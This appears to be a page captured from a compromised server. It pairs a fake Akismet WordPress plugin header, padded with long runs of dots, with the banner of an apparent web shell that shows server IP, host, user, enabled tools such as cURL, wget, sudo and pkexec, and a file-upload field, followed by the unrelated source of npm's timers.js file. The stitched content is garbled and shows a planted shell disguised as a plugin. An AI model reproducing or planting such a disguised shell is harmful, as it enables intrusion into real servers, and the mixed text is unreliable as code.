#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/lib/node_modules/npm/lib/utils/ |
Upload File : |
const EE = require('events')
const { resolve } = require('path')
const fs = require('@npmcli/fs')
const log = require('./log-shim')
const _timeListener = Symbol('timeListener')
const _timeEndListener = Symbol('timeEndListener')
const _init = Symbol('init')
// This is an event emiiter but on/off
// only listen on a single internal event that gets
// emitted whenever a timer ends
class Timers extends EE {
file = null
#unfinished = new Map()
#finished = {}
#onTimeEnd = Symbol('onTimeEnd')
#initialListener = null
#initialTimer = null
constructor ({ listener = null, start = 'npm' } = {}) {
super()
this.#initialListener = listener
this.#initialTimer = start
this[_init]()
}
get unfinished () {
return this.#unfinished
}
get finished () {
return this.#finished
}
[_init] () {
this.on()
if (this.#initialListener) {
this.on(this.#initialListener)
}
process.emit('time', this.#initialTimer)
this.started = this.#unfinished.get(this.#initialTimer)
}
on (listener) {
if (listener) {
super.on(this.#onTimeEnd, listener)
} else {
process.on('time', this[_timeListener])
process.on('timeEnd', this[_timeEndListener])
}
}
off (listener) {
if (listener) {
super.off(this.#onTimeEnd, listener)
} else {
this.removeAllListeners(this.#onTimeEnd)
process.off('time', this[_timeListener])
process.off('timeEnd', this[_timeEndListener])
}
}
time (name, fn) {
process.emit('time', name)
const end = () => process.emit('timeEnd', name)
if (typeof fn === 'function') {
const res = fn()
return res && res.finally ? res.finally(end) : (end(), res)
}
return end
}
load ({ dir } = {}) {
if (dir) {
this.file = resolve(dir, '_timing.json')
}
}
writeFile (fileData) {
if (!this.file) {
return
}
try {
const globalStart = this.started
const globalEnd = this.#finished.npm || Date.now()
const content = {
...fileData,
...this.#finished,
// add any unfinished timers with their relative start/end
unfinished: [...this.#unfinished.entries()].reduce((acc, [name, start]) => {
acc[name] = [start - globalStart, globalEnd - globalStart]
return acc
}, {}),
}
// we append line delimited json to this file...forever
// XXX: should we also write a process specific timing file?
// with similar rules to the debug log (max files, etc)
fs.withOwnerSync(
this.file,
() => fs.appendFileSync(this.file, JSON.stringify(content) + '\n'),
{ owner: 'inherit' }
)
} catch (e) {
this.file = null
log.warn('timing', `could not write timing file: ${e}`)
}
}
[_timeListener] = (name) => {
this.#unfinished.set(name, Date.now())
}
[_timeEndListener] = (name) => {
if (this.#unfinished.has(name)) {
const ms = Date.now() - this.#unfinished.get(name)
this.#finished[name] = ms
this.#unfinished.delete(name)
this.emit(this.#onTimeEnd, name, ms)
} else {
log.silly('timing', "Tried to end timer that doesn't exist:", name)
}
}
}
module.exports = Timers